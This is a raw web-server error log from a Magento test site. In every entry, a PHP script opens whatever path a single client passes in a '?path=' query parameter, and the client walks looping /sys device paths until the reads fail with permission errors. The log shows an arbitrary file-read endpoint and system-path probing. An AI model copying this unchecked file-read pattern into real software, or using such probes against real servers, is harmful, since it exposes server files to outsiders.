[Thu Mar 26 11:45:20.119413 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ee
[Thu Mar 26 11:45:22.815415 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:da
[Thu Mar 26 11:45:29.649922 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:45:30.710668 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:45:33.422953 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:45:37.063333 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:de
[Thu Mar 26 11:45:38.105151 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/ec
[Thu Mar 26 11:45:42.151443 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:be
[Thu Mar 26 11:45:43.729219 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:aa
[Thu Mar 26 11:45:44.238715 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:45:51.574833 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:45:52.658967 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:fa
[Thu Mar 26 11:45:56.335188 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:45:56.830438 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:aa
[Thu Mar 26 11:45:57.890313 2026] [php:warn] [pid 3106757] [client 74.7.241.26:59172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:46:01.781630 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:de
[Thu Mar 26 11:46:03.406010 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:fc
[Thu Mar 26 11:46:04.471916 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:46:06.079423 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:de
[Thu Mar 26 11:46:08.530193 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:46:09.604099 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc
[Thu Mar 26 11:46:12.227662 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:46:13.282999 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ac
[Thu Mar 26 11:46:18.112531 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:46:20.762048 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:46:25.570263 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/device:ce/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/device:ce/subsystem
[Thu Mar 26 11:46:26.593719 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:cc
[Thu Mar 26 11:46:27.728290 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:fc
[Thu Mar 26 11:46:34.030161 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ec
[Thu Mar 26 11:46:36.213694 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ea
[Thu Mar 26 11:46:37.801972 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:be
[Thu Mar 26 11:46:38.246088 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:46:39.381064 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:aa
[Thu Mar 26 11:46:43.614906 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:cc
[Thu Mar 26 11:46:46.251369 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:46:47.342553 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ce
[Thu Mar 26 11:46:52.251091 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac
[Thu Mar 26 11:46:52.788380 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:46:53.339985 2026] [php:warn] [pid 3107086] [client 74.7.241.26:58008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:46:58.205960 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:46:59.676950 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:47:01.258398 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:47:03.506545 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:47:06.742396 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
